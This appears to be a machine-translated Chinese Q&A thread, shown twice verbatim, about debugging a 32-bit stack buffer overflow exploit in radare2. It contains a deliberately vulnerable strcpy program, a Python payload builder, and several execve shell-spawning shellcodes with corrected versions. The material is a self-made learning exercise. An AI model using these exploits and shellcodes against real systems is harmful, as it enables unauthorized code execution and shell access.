(radare2, shellcode) int 0x80 跳转到无效地址
(radare2, shellcode) int 0x80 jumping to invalid address
我正在执行一个 32 位程序(我的 arch 是 64 位)。
漏洞代码:
#include <string.h>
#include <stdio.h>
void main(int argc, char *argv[]) {
copier(argv[1]);
printf("Done!\n");
}
int copier(char *str) {
char buffer[100];
strcpy(buffer, str);
}
利用:
#!/usr/bin/python3
ret = b"\xb0\xcd\xff\xff"
shellcode = (b"\xeb\x1d\x5e\x8d\x46\x05\x31\xdb\x88\x5e\x09\x89\x70\x05\x89\x5e\x0e\x8d"
b"\x1e\x8d\x48\x05\x8d\x50\x09\x31\xc0\xb0\x0b\xcd\x80\xe8\xde\xff\xff\xff"
b"\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43")
payload = b"\x90"*40+ shellcode + b"A"*(112 - 40 - len(shellcode)) + ret
open("bo1.payload", "wb").write(payload)
但是在利用时,它不会。
在调试器外部执行时会出现 SegmentFault 错误。
Before int 0x80
Just after int 0x80
Q1 我认为这是因为 execve 替换了以前的代码。是吗?
所以我按下 'q' 和命令 'dc' 继续。
[0xf7dd7c30]> dc
Selecting and continuing: 16145
child stopped with signal 17
[+] SIGNAL 17 errno=0 addr=0x3e80000546d code=1 ret=0
got signal...
[+] signal 17 aka SIGCHLD received 0
[3]+ Arrêté r2 -d ./bo1 $(cat bo1.payload)
Q2为什么'child stopped with signal 17'在int 0x80?
后没有提示shell
编辑:
ASLR sysctl -w kernel.randomize_va_space=0
用 'gcc -g -fno-stack-protector -z execstack -m32 -o bo1 bo1.c' 编译
编辑 2:
显然问题出在 shell 代码中。
我尝试了所有这些,只有最后一个有效并提示 shell。
shellcode = (b"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
b"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
b"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80")
shellcode = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
b"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")
shellcode = (b"\x31\xc0\xb0\x01\x31\xdb\xcd\x80")
shellcode = (b"\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a\x89\x46\x0e\x8d\x1e\x8d\x4e"
b"\x0a\x8d\x56\x0e\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f"
b"\x62\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43")
shellcode = (b"\xeb\x1d\x5e\x8d\x46\x05\x31\xdb\x88\x5e\x09\x89\x70\x05\x89\x5e\x0e\x8d"
b"\x1e\x8d\x48\x05\x8d\x50\x09\x31\xc0\xb0\x0b\xcd\x80\xe8\xde\xff\xff\xff"
b"\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43")
shellcode = (b"\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2"
b"\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
b"\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80")
原因本身很容易解释,只是 shellcode 中的推送指令擦除了 shellcode 的结尾字节(注意到 eip
在堆栈上并且非常接近 esp
,对吧?)在大多数情况下,在 shellcode 前加上 "add esp, 0x70" 就足够了。
但是,我认为你在提问之前需要学习如何调试程序。使用gdb,学点汇编,学学shellcode是怎么工作的,这样就知道怎么不行了。
例如,在 shellcode1 中它以 \xcd\x80
结尾,即 int 0x80
。但是当你调试时,最后的 int 0x80
在最后的 execve 调用完成之前消失了。这很奇怪,因此需要考虑修改 shellcode 的原因。
### 'add esp, 70' at begining. Bad bytes '0x27', I replaced it by '0x26' and incremented 'ch'
shellcode1 = (b"\x83\xc4\x70\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
b"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x26\xfe\xc5\xb0\x05\xcd\x80"
b"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80")
### Correct edx so it references NULL
shellcode2 = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
b"\x6e\x89\xe3\x50\x53\x89\xe1\x8d\x54\x24\x04\xb0\x0b\xcd\x80")
### I could not see it exiting due the difference of stack frame offset between r2 and bash shell
shellcode3 = (b"\x31\xc0\xb0\x01\x31\xdb\xcd\x80")
### Containing a bad byte '\x0a'
shellcode4 = (b"\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a\x89\x46\x0e\x8d\x1e\x8d\x4e"
b"\x0a\x8d\x56\x0e\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f"
b"\x62\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43")
### Spawn /bin/sh instead of /bin/bash
shellcode5 = (b"\xeb\x1d\x5e\x8d\x46\x03\x31\xdb\x88\x5e\x07\x89\x70\x05\x89\x5e\x0c\x8d"
b"\x1e\x8d\x48\x05\x8d\x50\x09\x31\xc0\xb0\x0b\xcd\x80\xe8\xde\xff\xff\xff"
b"\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43"
### The correct one
shellcode6 = (b"\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2"
b"\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
b"\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80")
我正在执行一个 32 位程序(我的 arch 是 64 位)。
漏洞代码:
#include <string.h>
#include <stdio.h>
void main(int argc, char *argv[]) {
copier(argv[1]);
printf("Done!\n");
}
int copier(char *str) {
char buffer[100];
strcpy(buffer, str);
}
利用:
#!/usr/bin/python3
ret = b"\xb0\xcd\xff\xff"
shellcode = (b"\xeb\x1d\x5e\x8d\x46\x05\x31\xdb\x88\x5e\x09\x89\x70\x05\x89\x5e\x0e\x8d"
b"\x1e\x8d\x48\x05\x8d\x50\x09\x31\xc0\xb0\x0b\xcd\x80\xe8\xde\xff\xff\xff"
b"\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43")
payload = b"\x90"*40+ shellcode + b"A"*(112 - 40 - len(shellcode)) + ret
open("bo1.payload", "wb").write(payload)
但是在利用时,它不会。
在调试器外部执行时会出现 SegmentFault 错误。
Before int 0x80
Just after int 0x80
Q1 我认为这是因为 execve 替换了以前的代码。是吗?
所以我按下 'q' 和命令 'dc' 继续。
[0xf7dd7c30]> dc
Selecting and continuing: 16145
child stopped with signal 17
[+] SIGNAL 17 errno=0 addr=0x3e80000546d code=1 ret=0
got signal...
[+] signal 17 aka SIGCHLD received 0
[3]+ Arrêté r2 -d ./bo1 $(cat bo1.payload)
Q2为什么'child stopped with signal 17'在int 0x80?
编辑:
ASLR sysctl -w kernel.randomize_va_space=0
用 'gcc -g -fno-stack-protector -z execstack -m32 -o bo1 bo1.c' 编译
编辑 2:
显然问题出在 shell 代码中。
我尝试了所有这些,只有最后一个有效并提示 shell。
shellcode = (b"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
b"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
b"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80")
shellcode = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
b"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")
shellcode = (b"\x31\xc0\xb0\x01\x31\xdb\xcd\x80")
shellcode = (b"\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a\x89\x46\x0e\x8d\x1e\x8d\x4e"
b"\x0a\x8d\x56\x0e\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f"
b"\x62\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43")
shellcode = (b"\xeb\x1d\x5e\x8d\x46\x05\x31\xdb\x88\x5e\x09\x89\x70\x05\x89\x5e\x0e\x8d"
b"\x1e\x8d\x48\x05\x8d\x50\x09\x31\xc0\xb0\x0b\xcd\x80\xe8\xde\xff\xff\xff"
b"\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43")
shellcode = (b"\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2"
b"\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
b"\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80")
原因本身很容易解释,只是 shellcode 中的推送指令擦除了 shellcode 的结尾字节(注意到 eip
在堆栈上并且非常接近 esp
,对吧?)在大多数情况下,在 shellcode 前加上 "add esp, 0x70" 就足够了。
但是,我认为你在提问之前需要学习如何调试程序。使用gdb,学点汇编,学学shellcode是怎么工作的,这样就知道怎么不行了。
例如,在 shellcode1 中它以 \xcd\x80
结尾,即 int 0x80
。但是当你调试时,最后的 int 0x80
在最后的 execve 调用完成之前消失了。这很奇怪,因此需要考虑修改 shellcode 的原因。
### 'add esp, 70' at begining. Bad bytes '0x27', I replaced it by '0x26' and incremented 'ch'
shellcode1 = (b"\x83\xc4\x70\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
b"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x26\xfe\xc5\xb0\x05\xcd\x80"
b"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80")
### Correct edx so it references NULL
shellcode2 = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
b"\x6e\x89\xe3\x50\x53\x89\xe1\x8d\x54\x24\x04\xb0\x0b\xcd\x80")
### I could not see it exiting due the difference of stack frame offset between r2 and bash shell
shellcode3 = (b"\x31\xc0\xb0\x01\x31\xdb\xcd\x80")
### Containing a bad byte '\x0a'
shellcode4 = (b"\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a\x89\x46\x0e\x8d\x1e\x8d\x4e"
b"\x0a\x8d\x56\x0e\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f"
b"\x62\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43")
### Spawn /bin/sh instead of /bin/bash
shellcode5 = (b"\xeb\x1d\x5e\x8d\x46\x03\x31\xdb\x88\x5e\x07\x89\x70\x05\x89\x5e\x0c\x8d"
b"\x1e\x8d\x48\x05\x8d\x50\x09\x31\xc0\xb0\x0b\xcd\x80\xe8\xde\xff\xff\xff"
b"\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43"
### The correct one
shellcode6 = (b"\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2"
b"\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
b"\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80")